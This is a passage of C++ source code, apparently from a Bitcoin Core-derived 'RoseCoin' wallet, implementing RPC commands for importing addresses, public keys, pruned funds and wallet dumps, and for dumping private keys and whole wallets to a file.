ImportScript(pwallet, script, strLabel, false);
// add to address book or update label
if (IsValidDestination(dest))
pwallet->SetAddressBook(dest, strLabel, "receive");
}
UniValue importaddress(const JSONRPCRequest& request)
{
CWallet * const pwallet = GetWalletForJSONRPCRequest(request);
if (!EnsureWalletIsAvailable(pwallet, request.fHelp)) {
return NullUniValue;
}
if (request.fHelp || request.params.size() < 1 || request.params.size() > 4)
throw std::runtime_error(
"importaddress \"address\" ( \"label\" rescan p2sh )\n"
"\nAdds a script (in hex) or address that can be watched as if it were in your wallet but cannot be used to spend. Requires a new wallet backup.\n"
"\nArguments:\n"
"1. \"script\" (string, required) The hex-encoded script (or address)\n"
"2. \"label\" (string, optional, default=\"\") An optional label\n"
"3. rescan (boolean, optional, default=true) Rescan the wallet for transactions\n"
"4. p2sh (boolean, optional, default=false) Add the P2SH version of the script as well\n"
"\nNote: This call can take minutes to complete if rescan is true, during that time, other rpc calls\n"
"may report that the imported address exists but related transactions are still missing, leading to temporarily incorrect/bogus balances and unspent outputs until rescan completes.\n"
"If you have the full public key, you should call importpubkey instead of this.\n"
"\nNote: If you import a non-standard raw script in hex form, outputs sending to it will be treated\n"
"as change, and not show up in many RPCs.\n"
"\nExamples:\n"
"\nImport a script with rescan\n"
+ HelpExampleCli("importaddress", "\"myscript\"") +
"\nImport using a label without rescan\n"
+ HelpExampleCli("importaddress", "\"myscript\" \"testing\" false") +
"\nAs a JSON-RPC call\n"
+ HelpExampleRpc("importaddress", "\"myscript\", \"testing\", false")
);
std::string strLabel = "";
if (!request.params[1].isNull())
strLabel = request.params[1].get_str();
// Whether to perform rescan after import
bool fRescan = true;
if (!request.params[2].isNull())
fRescan = request.params[2].get_bool();
if (fRescan && fPruneMode)
throw JSONRPCError(RPC_WALLET_ERROR, "Rescan is disabled in pruned mode");
WalletRescanReserver reserver(pwallet);
if (fRescan && !reserver.reserve()) {
throw JSONRPCError(RPC_WALLET_ERROR, "Wallet is currently rescanning. Abort existing rescan or wait.");
}
// Whether to import a p2sh version, too
bool fP2SH = false;
if (!request.params[3].isNull())
fP2SH = request.params[3].get_bool();
{
LOCK2(cs_main, pwallet->cs_wallet);
CTxDestination dest = DecodeDestination(request.params[0].get_str());
if (IsValidDestination(dest)) {
if (fP2SH) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Cannot use the p2sh flag with an address - use a script instead");
}
ImportAddress(pwallet, dest, strLabel);
} else if (IsHex(request.params[0].get_str())) {
std::vector<unsigned char> data(ParseHex(request.params[0].get_str()));
ImportScript(pwallet, CScript(data.begin(), data.end()), strLabel, fP2SH);
} else {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid RoseCoin address or script");
}
}
if (fRescan)
{
pwallet->RescanFromTime(TIMESTAMP_MIN, reserver, true /* update */);
pwallet->ReacceptWalletTransactions();
}
return NullUniValue;
}
UniValue importprunedfunds(const JSONRPCRequest& request)
{
CWallet * const pwallet = GetWalletForJSONRPCRequest(request);
if (!EnsureWalletIsAvailable(pwallet, request.fHelp)) {
return NullUniValue;
}
if (request.fHelp || request.params.size() != 2)
throw std::runtime_error(
"importprunedfunds\n"
"\nImports funds without rescan. Corresponding address or script must previously be included in wallet. Aimed towards pruned wallets. The end-user is responsible to import additional transactions that subsequently spend the imported outputs or rescan after the point in the blockchain the transaction is included.\n"
"\nArguments:\n"
"1. \"rawtransaction\" (string, required) A raw transaction in hex funding an already-existing address in wallet\n"
"2. \"txoutproof\" (string, required) The hex output from gettxoutproof that contains the transaction\n"
);
CMutableTransaction tx;
if (!DecodeHexTx(tx, request.params[0].get_str()))
throw JSONRPCError(RPC_DESERIALIZATION_ERROR, "TX decode failed");
uint256 hashTx = tx.GetHash();
CWalletTx wtx(pwallet, MakeTransactionRef(std::move(tx)));
CDataStream ssMB(ParseHexV(request.params[1], "proof"), SER_NETWORK, PROTOCOL_VERSION);
CMerkleBlock merkleBlock;
ssMB >> merkleBlock;
//Search partial merkle tree in proof for our transaction and index in valid block
std::vector<uint256> vMatch;
std::vector<unsigned int> vIndex;
unsigned int txnIndex = 0;
if (merkleBlock.txn.ExtractMatches(vMatch, vIndex) == merkleBlock.header.hashMerkleRoot) {
LOCK(cs_main);
if (!mapBlockIndex.count(merkleBlock.header.GetHash()) || !chainActive.Contains(mapBlockIndex[merkleBlock.header.GetHash()]))
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Block not found in chain");
std::vector<uint256>::const_iterator it;
if ((it = std::find(vMatch.begin(), vMatch.end(), hashTx))==vMatch.end()) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Transaction given doesn't exist in proof");
}
txnIndex = vIndex[it - vMatch.begin()];
}
else {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Something wrong with merkleblock");
}
wtx.nIndex = txnIndex;
wtx.hashBlock = merkleBlock.header.GetHash();
LOCK2(cs_main, pwallet->cs_wallet);
if (pwallet->IsMine(*wtx.tx)) {
pwallet->AddToWallet(wtx, false);
return NullUniValue;
}
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "No addresses in wallet correspond to included transaction");
}
UniValue removeprunedfunds(const JSONRPCRequest& request)
{
CWallet * const pwallet = GetWalletForJSONRPCRequest(request);
if (!EnsureWalletIsAvailable(pwallet, request.fHelp)) {
return NullUniValue;
}
if (request.fHelp || request.params.size() != 1)
throw std::runtime_error(
"removeprunedfunds \"txid\"\n"
"\nDeletes the specified transaction from the wallet. Meant for use with pruned wallets and as a companion to importprunedfunds. This will affect wallet balances.\n"
"\nArguments:\n"
"1. \"txid\" (string, required) The hex-encoded id of the transaction you are deleting\n"
"\nExamples:\n"
+ HelpExampleCli("removeprunedfunds", "\"c54357a1ff9f4e792198e75c01fc633acc6d093abd67ec1849596637c3457bf2\"") +
"\nAs a JSON-RPC call\n"
+ HelpExampleRpc("removeprunedfunds", "\"c54357a1ff9f4e792198e75c01fc633acc6d093abd67ec1849596637c3457bf2\"")
);
LOCK2(cs_main, pwallet->cs_wallet);
uint256 hash;
hash.SetHex(request.params[0].get_str());
std::vector<uint256> vHash;
vHash.push_back(hash);
std::vector<uint256> vHashOut;
if (pwallet->ZapSelectTx(vHash, vHashOut) != DB_LOAD_OK) {
throw JSONRPCError(RPC_WALLET_ERROR, "Could not properly delete the transaction.");
}
if(vHashOut.empty()) {
throw JSONRPCError(RPC_INVALID_PARAMETER, "Transaction does not exist in wallet.");
}
return NullUniValue;
}
UniValue importpubkey(const JSONRPCRequest& request)
{
CWallet * const pwallet = GetWalletForJSONRPCRequest(request);
if (!EnsureWalletIsAvailable(pwallet, request.fHelp)) {
return NullUniValue;
}
if (request.fHelp || request.params.size() < 1 || request.params.size() > 3)
throw std::runtime_error(
"importpubkey \"pubkey\" ( \"label\" rescan )\n"
"\nAdds a public key (in hex) that can be watched as if it were in your wallet but cannot be used to spend. Requires a new wallet backup.\n"
"\nArguments:\n"
"1. \"pubkey\" (string, required) The hex-encoded public key\n"
"2. \"label\" (string, optional, default=\"\") An optional label\n"
"3. rescan (boolean, optional, default=true) Rescan the wallet for transactions\n"
"\nNote: This call can take minutes to complete if rescan is true, during that time, other rpc calls\n"
"may report that the imported pubkey exists but related transactions are still missing, leading to temporarily incorrect/bogus balances and unspent outputs until rescan completes.\n"
"\nExamples:\n"
"\nImport a public key with rescan\n"
+ HelpExampleCli("importpubkey", "\"mypubkey\"") +
"\nImport using a label without rescan\n"
+ HelpExampleCli("importpubkey", "\"mypubkey\" \"testing\" false") +
"\nAs a JSON-RPC call\n"
+ HelpExampleRpc("importpubkey", "\"mypubkey\", \"testing\", false")
);
std::string strLabel = "";
if (!request.params[1].isNull())
strLabel = request.params[1].get_str();
// Whether to perform rescan after import
bool fRescan = true;
if (!request.params[2].isNull())
fRescan = request.params[2].get_bool();
if (fRescan && fPruneMode)
throw JSONRPCError(RPC_WALLET_ERROR, "Rescan is disabled in pruned mode");
WalletRescanReserver reserver(pwallet);
if (fRescan && !reserver.reserve()) {
throw JSONRPCError(RPC_WALLET_ERROR, "Wallet is currently rescanning. Abort existing rescan or wait.");
}
if (!IsHex(request.params[0].get_str()))
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Pubkey must be a hex string");
std::vector<unsigned char> data(ParseHex(request.params[0].get_str()));
CPubKey pubKey(data.begin(), data.end());
if (!pubKey.IsFullyValid())
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Pubkey is not a valid public key");
{
LOCK2(cs_main, pwallet->cs_wallet);
for (const auto& dest : GetAllDestinationsForKey(pubKey)) {
ImportAddress(pwallet, dest, strLabel);
}
ImportScript(pwallet, GetScriptForRawPubKey(pubKey), strLabel, false);
pwallet->LearnAllRelatedScripts(pubKey);
}
if (fRescan)
{
pwallet->RescanFromTime(TIMESTAMP_MIN, reserver, true /* update */);
pwallet->ReacceptWalletTransactions();
}
return NullUniValue;
}
UniValue importwallet(const JSONRPCRequest& request)
{
CWallet * const pwallet = GetWalletForJSONRPCRequest(request);
if (!EnsureWalletIsAvailable(pwallet, request.fHelp)) {
return NullUniValue;
}
if (request.fHelp || request.params.size() != 1)
throw std::runtime_error(
"importwallet \"filename\"\n"
"\nImports keys from a wallet dump file (see dumpwallet). Requires a new wallet backup to include imported keys.\n"
"\nArguments:\n"
"1. \"filename\" (string, required) The wallet file\n"
"\nExamples:\n"
"\nDump the wallet\n"
+ HelpExampleCli("dumpwallet", "\"test\"") +
"\nImport the wallet\n"
+ HelpExampleCli("importwallet", "\"test\"") +
"\nImport using the json rpc call\n"
+ HelpExampleRpc("importwallet", "\"test\"")
);
if (fPruneMode)
throw JSONRPCError(RPC_WALLET_ERROR, "Importing wallets is disabled in pruned mode");
WalletRescanReserver reserver(pwallet);
if (!reserver.reserve()) {
throw JSONRPCError(RPC_WALLET_ERROR, "Wallet is currently rescanning. Abort existing rescan or wait.");
}
int64_t nTimeBegin = 0;
bool fGood = true;
{
LOCK2(cs_main, pwallet->cs_wallet);
EnsureWalletIsUnlocked(pwallet);
std::ifstream file;
file.open(request.params[0].get_str().c_str(), std::ios::in | std::ios::ate);
if (!file.is_open()) {
throw JSONRPCError(RPC_INVALID_PARAMETER, "Cannot open wallet dump file");
}
nTimeBegin = chainActive.Tip()->GetBlockTime();
int64_t nFilesize = std::max((int64_t)1, (int64_t)file.tellg());
file.seekg(0, file.beg);
pwallet->ShowProgress(_("Importing..."), 0); // show progress dialog in GUI
while (file.good()) {
pwallet->ShowProgress("", std::max(1, std::min(99, (int)(((double)file.tellg() / (double)nFilesize) * 100))));
std::string line;
std::getline(file, line);
if (line.empty() || line[0] == '#')
continue;
std::vector<std::string> vstr;
boost::split(vstr, line, boost::is_any_of(" "));
if (vstr.size() < 2)
continue;
CBitcoinSecret vchSecret;
if (vchSecret.SetString(vstr[0])) {
CKey key = vchSecret.GetKey();
CPubKey pubkey = key.GetPubKey();
assert(key.VerifyPubKey(pubkey));
CKeyID keyid = pubkey.GetID();
if (pwallet->HaveKey(keyid)) {
LogPrintf("Skipping import of %s (key already present)\n", EncodeDestination(keyid));
continue;
}
int64_t nTime = DecodeDumpTime(vstr[1]);
std::string strLabel;
bool fLabel = true;
for (unsigned int nStr = 2; nStr < vstr.size(); nStr++) {
if (boost::algorithm::starts_with(vstr[nStr], "#"))
break;
if (vstr[nStr] == "change=1")
fLabel = false;
if (vstr[nStr] == "reserve=1")
fLabel = false;
if (boost::algorithm::starts_with(vstr[nStr], "label=")) {
strLabel = DecodeDumpString(vstr[nStr].substr(6));
fLabel = true;
}
}
LogPrintf("Importing %s...\n", EncodeDestination(keyid));
if (!pwallet->AddKeyPubKey(key, pubkey)) {
fGood = false;
continue;
}
pwallet->mapKeyMetadata[keyid].nCreateTime = nTime;
if (fLabel)
pwallet->SetAddressBook(keyid, strLabel, "receive");
nTimeBegin = std::min(nTimeBegin, nTime);
} else if(IsHex(vstr[0])) {
std::vector<unsigned char> vData(ParseHex(vstr[0]));
CScript script = CScript(vData.begin(), vData.end());
if (pwallet->HaveCScript(script)) {
LogPrintf("Skipping import of %s (script already present)\n", vstr[0]);
continue;
}
if(!pwallet->AddCScript(script)) {
LogPrintf("Error importing script %s\n", vstr[0]);
fGood = false;
continue;
}
int64_t birth_time = DecodeDumpTime(vstr[1]);
if (birth_time > 0) {
pwallet->m_script_metadata[CScriptID(script)].nCreateTime = birth_time;
nTimeBegin = std::min(nTimeBegin, birth_time);
}
}
}
file.close();
pwallet->ShowProgress("", 100); // hide progress dialog in GUI
pwallet->UpdateTimeFirstKey(nTimeBegin);
}
pwallet->RescanFromTime(nTimeBegin, reserver, false /* update */);
pwallet->MarkDirty();
if (!fGood)
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding some keys/scripts to wallet");
return NullUniValue;
}
UniValue dumpprivkey(const JSONRPCRequest& request)
{
CWallet * const pwallet = GetWalletForJSONRPCRequest(request);
if (!EnsureWalletIsAvailable(pwallet, request.fHelp)) {
return NullUniValue;
}
if (request.fHelp || request.params.size() != 1)
throw std::runtime_error(
"dumpprivkey \"address\"\n"
"\nReveals the private key corresponding to 'address'.\n"
"Then the importprivkey can be used with this output\n"
"\nArguments:\n"
"1. \"address\" (string, required) The rosecoin address for the private key\n"
"\nResult:\n"
"\"key\" (string) The private key\n"
"\nExamples:\n"
+ HelpExampleCli("dumpprivkey", "\"myaddress\"")
+ HelpExampleCli("importprivkey", "\"mykey\"")
+ HelpExampleRpc("dumpprivkey", "\"myaddress\"")
);
LOCK2(cs_main, pwallet->cs_wallet);
EnsureWalletIsUnlocked(pwallet);
std::string strAddress = request.params[0].get_str();
CTxDestination dest = DecodeDestination(strAddress);
if (!IsValidDestination(dest)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid RoseCoin address");
}
auto keyid = GetKeyForDestination(*pwallet, dest);
if (keyid.IsNull()) {
throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to a key");
}
CKey vchSecret;
if (!pwallet->GetKey(keyid, vchSecret)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Private key for address " + strAddress + " is not known");
}
return CBitcoinSecret(vchSecret).ToString();
}
UniValue dumpwallet(const JSONRPCRequest& request)
{
CWallet * const pwallet = GetWalletForJSONRPCRequest(request);
if (!EnsureWalletIsAvailable(pwallet, request.fHelp)) {
return NullUniValue;
}
if (request.fHelp || request.params.size() != 1)
throw std::runtime_error(
"dumpwallet \"filename\"\n"
"\nDumps all wallet keys in a human-readable format to a server-side file. This does not allow overwriting existing files.\n"
"Imported scripts are included in the dumpfile, but corresponding BIP173 addresses, etc. may not be added automatically by importwallet.\n"
"Note that if your wallet contains keys which are not derived from your HD seed (e.g. imported keys), these are not covered by\n"
"only backing up the seed itself, and must be backed up too (e.g. ensure you back up the whole dumpfile).\n"
"\nArguments:\n"
"1. \"filename\" (string, required) The filename with path (either absolute or relative to rosecoind)\n"
"\nResult:\n"
"{ (json object)\n"
" \"filename\" : { (string) The filename with full absolute path\n"
"}\n"
"\nExamples:\n"
+ HelpExampleCli("dumpwallet", "\"test\"")
+ HelpExampleRpc("dumpwallet", "\"test\"")
);
LOCK2(cs_main, pwallet->cs_wallet);
EnsureWalletIsUnlocked(pwallet);
boost::filesystem::path filepath = request.params[0].get_str();
filepath = boost::filesystem::absolute(filepath);
/* Prevent arbitrary files from being overwritten. There have been reports
* that users have overwritten wallet files this way:
* https://github.com/bitcoin/bitcoin/issues/9934
* It may also avoid other security issues.
*/
if (boost::filesystem::exists(filepath)) {
throw JSONRPCError(RPC_INVALID_PARAMETER, filepath.string() + " already exists. If you are sure this is what you want, move it out of the way first");
}
std::ofstream file;
file.open(filepath.string().c_str());
if (!file.is_open())
throw JSONRPCError(RPC_INVALID_PARAMETER, "Cannot open wallet dump file");
std::map<CTxDestination, int64_t> mapKeyBirth;
const std::map<CKeyID, int64_t>& mapKeyPool = pwallet->GetAllReserveKeys();
pwallet->GetKeyBirthTimes(mapKeyBirth);
std::set<CScriptID> scripts = pwallet->GetCScripts();
// TODO: include scripts in GetKeyBirthTimes() output instead of separate
// sort time/key pairs
std::vector<std::pair<int64_t, CKeyID> > vKeyBirth;
for (const auto& entry : mapKeyBirth) {
if (const CKeyID* keyID = boost::get<CKeyID>(&entry.first)) { // set and test
vKeyBirth.push_back(std::make_pair(entry.second, *keyID));
}
}
mapKeyBirth.clear();
std::sort(vKeyBirth.begin(), vKeyBirth.end());
// produce output
file << strprintf("# Wallet dump created by RoseCoin %s\n", CLIENT_BUILD);
file << strprintf("# * Created on %s\n", EncodeDumpTime(GetTime()));
file << strprintf("# * Best block at time of backup was %i (%s),\n", chainActive.Height(), chainActive.Tip()->GetBlockHash().ToString());
file << strprintf("# mined on %s\n", EncodeDumpTime(chainActive.Tip()->GetBlockTime()));
file << "\n";
// add the base58check encoded extended master if the wallet uses HD
CKeyID masterKeyID = pwallet->GetHDChain().masterKeyID;
if (!masterKeyID.IsNull())
{
CKey key;
if (pwallet->GetKey(masterKeyID, key)) {
CExtKey masterKey;
masterKey.SetMaster(key.begin(), key.size());
CBitcoinExtKey b58extkey;
b58extkey.SetKey(masterKey);
file << "# extended private masterkey: " << b58extkey.ToString() << "\n\n";
}
}
for (std::vector<std::pair<int64_t, CKeyID> >::const_iterator it = vKeyBirth.begin(); it != vKeyBirth.end(); it++) {
const CKeyID &keyid = it->second;
std::string strTime = EncodeDumpTime(it->first);
std::string strAddr;
std::string strLabel;
CKey key;
if (pwallet->GetKey(keyid, key)) {
file << strprintf("%s %s ", CBitcoinSecret(key).ToString(), strTime);
if (GetWalletAddressesForKey(pwallet, keyid, strAddr, strLabel)) {
file << strprintf("label=%s", strLabel);
} else if (keyid == masterKeyID) {
file << "hdmaster=1";
} else if (mapKeyPool.count(keyid)) {
file << "reserve=1";
} else if (pwallet->mapKeyMetadata[keyid].hdKeypath == "m") {
file << "inactivehdmaster=1";
} else {
file << "change=1";
}
file << strprintf(" # addr=%s%s\n", strAddr, (pwallet->mapKeyMetadata[keyid].hdKeypath.size() > 0 ? " hdkeypath="+pwallet->mapKeyMetadata[keyid].hdKeypath : ""));
}
}
file << "\n";
for (const CScriptID &scriptid : scripts) {
CScript script;
std::string create_time = "0";
std::string address = EncodeDestination(scriptid);
// get birth times for scripts with metadata
auto it = pwallet->m_script_metadata.find(scriptid);
if (it != pwallet->m_script_metadata.end()) {
create_time = EncodeDumpTime(it->second.nCreateTime);
}
if(pwallet->GetCScript(scriptid, script)) {
file << strprintf("%s %s script=1", HexStr(script.begin(), script.end()), create_time);
file << strprintf(" # addr=%s\n", address);
}
}
file << "\n";
file << "# End of dump\n";
file.close();
UniValue reply(UniValue::VOBJ);
reply.push_back(Pair("filename", filepath.string()));
return reply;
}
UniValue ProcessImport(CWallet * const pwallet, const UniValue& data, const int64_t timestamp)
{
try {
bool success = false;
// Required fields.
const UniValue& scriptPubKey = data["scriptPubKey"];
// Should have script or JSON with "address".
if (!(scriptPubKey.getType() == UniValue::VOBJ && scriptPubKey.exists("address")) && !(scriptPubKey.getType() == UniValue::VSTR)) {
throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid scriptPubKey");
}
// Optional fields.
const std::string& strRedeemScript = data.exists("redeemscript") ? data["redeemscript"].get_str() : "";
const UniValue& pubKeys = data.exists("pubkeys") ? data["pubkeys"].get_array() : UniValue();
const UniValue& keys = data.exists("keys") ? data["keys"].get_array() : UniValue();
const bool internal = data.exists("internal") ? data["internal"].get_bool() : false;
const bool watchOnly = data.exists("watchonly") ? data["watchonly"].get_bool() : false;
const std::string& label = data.exists("label") && !internal ? data["label"].get_str() : "";
bool isScript = scriptPubKey.getType() == UniValue::VSTR;
bool isP2SH = strRedeemScript.length() > 0;
const std::string& output = isScript ? scriptPubKey.get_str() : scriptPubKey["address"].get_str();
// Parse the output.
CScript script;
CTxDestination dest;
if (!isScript) {
dest = DecodeDestination(output);
if (!IsValidDestination(dest)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid address");
}
script = GetScriptForDestination(dest);
} else {
if (!IsHex(output)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid scriptPubKey");
}
std::vector<unsigned char> vData(ParseHex(output));
script = CScript(vData.begin(), vData.end());
}
// Watchonly and private keys
if (watchOnly && keys.size()) {
throw JSONRPCError(RPC_INVALID_PARAMETER, "Incompatibility found between watchonly and keys");
}
// Internal + Label
if (internal && data.exists("label")) {
throw JSONRPCError(RPC_INVALID_PARAMETER, "Incompatibility found between internal and label");
}
// Not having Internal + Script
if (!internal && isScript) {
throw JSONRPCError(RPC_INVALID_PARAMETER, "Internal must be set for hex scriptPubKey");
}
// Keys / PubKeys size check.
if (!isP2SH && (keys.size() > 1 || pubKeys.size() > 1)) { // Address / scriptPubKey
throw JSONRPCError(RPC_INVALID_PARAMETER, "More than private key given for one address");
}
// Invalid P2SH redeemScript
if (isP2SH && !IsHex(strRedeemScript)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid redeem script");
}
// Process. //
// P2SH
if (isP2SH) {
// Import redeem script.
std::vector<unsigned char> vData(ParseHex(strRedeemScript));
CScript redeemScript = CScript(vData.begin(), vData.end());
// Invalid P2SH address
if (!script.IsPayToScriptHash()) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid P2SH address / script");
}
pwallet->MarkDirty();
if (!pwallet->AddWatchOnly(redeemScript, timestamp)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding address to wallet");
}
if (!pwallet->HaveCScript(redeemScript) && !pwallet->AddCScript(redeemScript)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding p2sh redeemScript to wallet");
}
CTxDestination redeem_dest = CScriptID(redeemScript);
CScript redeemDestination = GetScriptForDestination(redeem_dest);
if (::IsMine(*pwallet, redeemDestination) == ISMINE_SPENDABLE) {
throw JSONRPCError(RPC_WALLET_ERROR, "The wallet already contains the private key for this address or script");
}
pwallet->MarkDirty();
if (!pwallet->AddWatchOnly(redeemDestination, timestamp)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding address to wallet");
}
// add to address book or update label
if (IsValidDestination(dest)) {
pwallet->SetAddressBook(dest, label, "receive");
}
// Import private keys.
if (keys.size()) {
for (size_t i = 0; i < keys.size(); i++) {
const std::string& privkey = keys[i].get_str();
CBitcoinSecret vchSecret;
bool fGood = vchSecret.SetString(privkey);
if (!fGood) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid private key encoding");
}
CKey key = vchSecret.GetKey();
if (!key.IsValid()) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Private key outside allowed range");
}
CPubKey pubkey = key.GetPubKey();
assert(key.VerifyPubKey(pubkey));
CKeyID vchAddress = pubkey.GetID();
pwallet->MarkDirty();
pwallet->SetAddressBook(vchAddress, label, "receive");
if (pwallet->HaveKey(vchAddress)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Already have this key");
}
pwallet->mapKeyMetadata[vchAddress].nCreateTime = timestamp;
if (!pwallet->AddKeyPubKey(key, pubkey)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding key to wallet");
}
pwallet->UpdateTimeFirstKey(timestamp);
}
}
success = true;
} else {
// Import public keys.
if (pubKeys.size() && keys.size() == 0) {
const std::string& strPubKey = pubKeys[0].get_str();
if (!IsHex(strPubKey)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Pubkey must be a hex string");
}
std::vector<unsigned char> vData(ParseHex(strPubKey));
CPubKey pubKey(vData.begin(), vData.end());
if (!pubKey.IsFullyValid()) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Pubkey is not a valid public key");
}
CTxDestination pubkey_dest = pubKey.GetID();
// Consistency check.
if (!isScript && !(pubkey_dest == dest)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Consistency check failed");
}
// Consistency check.
if (isScript) {
CTxDestination destination;
if (ExtractDestination(script, destination)) {
if (!(destination == pubkey_dest)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Consistency check failed");
}
}
}
CScript pubKeyScript = GetScriptForDestination(pubkey_dest);
if (::IsMine(*pwallet, pubKeyScript) == ISMINE_SPENDABLE) {
throw JSONRPCError(RPC_WALLET_ERROR, "The wallet already contains the private key for this address or script");
}
pwallet->MarkDirty();
if (!pwallet->AddWatchOnly(pubKeyScript, timestamp)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding address to wallet");
}
// add to address book or update label
if (IsValidDestination(pubkey_dest)) {
pwallet->SetAddressBook(pubkey_dest, label, "receive");
}
// TODO Is this necessary?
CScript scriptRawPubKey = GetScriptForRawPubKey(pubKey);
if (::IsMine(*pwallet, scriptRawPubKey) == ISMINE_SPENDABLE) {
throw JSONRPCError(RPC_WALLET_ERROR, "The wallet already contains the private key for this address or script");
}
pwallet->MarkDirty();
if (!pwallet->AddWatchOnly(scriptRawPubKey, timestamp)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding address to wallet");
}
success = true;
}
// Import private keys.
if (keys.size()) {
const std::string& strPrivkey = keys[0].get_str();
// Checks.
CBitcoinSecret vchSecret;
bool fGood = vchSecret.SetString(strPrivkey);
if (!fGood) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid private key encoding");
}
CKey key = vchSecret.GetKey();
if (!key.IsValid()) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Private key outside allowed range");
}
CPubKey pubKey = key.GetPubKey();
assert(key.VerifyPubKey(pubKey));
CTxDestination pubkey_dest = pubKey.GetID();
// Consistency check.
if (!isScript && !(pubkey_dest == dest)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Consistency check failed");
}
// Consistency check.
if (isScript) {
CTxDestination destination;
if (ExtractDestination(script, destination)) {
if (!(destination == pubkey_dest)) {
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Consistency check failed");
}
}
}
CKeyID vchAddress = pubKey.GetID();
pwallet->MarkDirty();
pwallet->SetAddressBook(vchAddress, label, "receive");
if (pwallet->HaveKey(vchAddress)) {
throw JSONRPCError(RPC_WALLET_ERROR, "The wallet already contains the private key for this address or script");
}
pwallet->mapKeyMetadata[vchAddress].nCreateTime = timestamp;
if (!pwallet->AddKeyPubKey(key, pubKey)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding key to wallet");
}
pwallet->UpdateTimeFirstKey(timestamp);
success = true;
}
// Import scriptPubKey only.
if (pubKeys.size() == 0 && keys.size() == 0) {
if (::IsMine(*pwallet, script) == ISMINE_SPENDABLE) {
throw JSONRPCError(RPC_WALLET_ERROR, "The wallet already contains the private key for this address or script");
}
pwallet->MarkDirty();
if (!pwallet->AddWatchOnly(script, timestamp)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding address to wallet");
}
if (scriptPubKey.getType() == UniValue::VOBJ) {
// add to address book or update label
if (IsValidDestination(dest)) {
pwallet->SetAddressBook(dest, label, "receive");
}
}
success = true;
}
}
UniValue result = UniValue(UniValue::VOBJ);
result.pushKV("success", UniValue(success));
return result;
} catch (const UniValue& e) {
UniValue result = UniValue(UniValue::VOBJ);
result.pushKV("success", UniValue(false));
result.pushKV("error", e);
return result;
} catch (...) {
UniValue result = UniValue(UniValue::VOBJ);
result.pushKV("success", UniValue(false));
result.pushKV("error", JSONRPCError(RPC_MISC_ERROR, "Missing required fields"));
return result;
}
}
int64_t GetImportTimestamp(const UniValue& data, int64_t now)
{
if (data.exists("timestamp")) {
const UniValue& timestamp = data["timestamp"];
if (timestamp.isNum()) {
return timestamp.get_int64();
} else if (timestamp.isStr() && timestamp.get_str() == "now") {
return now;
}
throw JSONRPCError(RPC_TYPE_ERROR, strprintf("Expected number or \"now\" timestamp value for key. got type %s", uvTypeName(timestamp.type())));
}
throw JSONRPCError(RPC_TYPE_ERROR, "Missing required timestamp field for key");
}
UniValue importmulti(const JSONRPCRequest& mainRequest)
{
CWallet * const pwallet = GetWalletForJSONRPCRequest(mainRequest);
if (!EnsureWalletIsAvailable(pwallet, mainRequest.fHelp)) {
return NullUniValue;
}
// clang-format off
if (mainRequest.fHelp || mainRequest.params.size() < 1 || mainRequest.params.size() > 2)
throw std::runtime_error(
"importmulti \"requests\" ( \"options\" )\n\n"
"Import addresses/scripts (with private or public keys, redeem script (P2SH)), rescanning all addresses in one-shot-only (rescan can be disabled via options). Requires a new wallet backup.\n\n"
"Arguments:\n"
"1. requests (array, required) Data to be imported\n"
" [ (array of json objects)\n"
" {\n"
" \"scriptPubKey\": \"<script>\" | { \"address\":\"<address>\" }, (string / json, required) Type of scriptPubKey (string for script, json for address)\n"
" \"timestamp\": timestamp | \"now\" , (integer / string, required) Creation time of the key in seconds since epoch (Jan 1 1970 GMT),\n"
" or the string \"now\" to substitute the current synced blockchain time. The timestamp of the oldest\n"
" key will determine how far back blockchain rescans need to begin for missing wallet transactions.\n"
" \"now\" can be specified to bypass scanning, for keys which are known to never have been used, and\n"
" 0 can be specified to scan the entire blockchain. Blocks up to 2 hours before the earliest key\n"
" creation time of all keys being imported by the importmulti call will be scanned.\n"
" \"redeemscript\": \"<script>\" , (string, optional) Allowed only if the scriptPubKey is a P2SH address or a P2SH scriptPubKey\n"
" \"pubkeys\": [\"<pubKey>\", ... ] , (array, optional) Array of strings giving pubkeys that must occur in the output or redeemscript\n"
" \"keys\": [\"<key>\", ... ] , (array, optional) Array of strings giving private keys whose corresponding public keys must occur in the output or redeemscript\n"
" \"internal\": <true> , (boolean, optional, default: false) Stating whether matching outputs should be treated as not incoming payments\n"
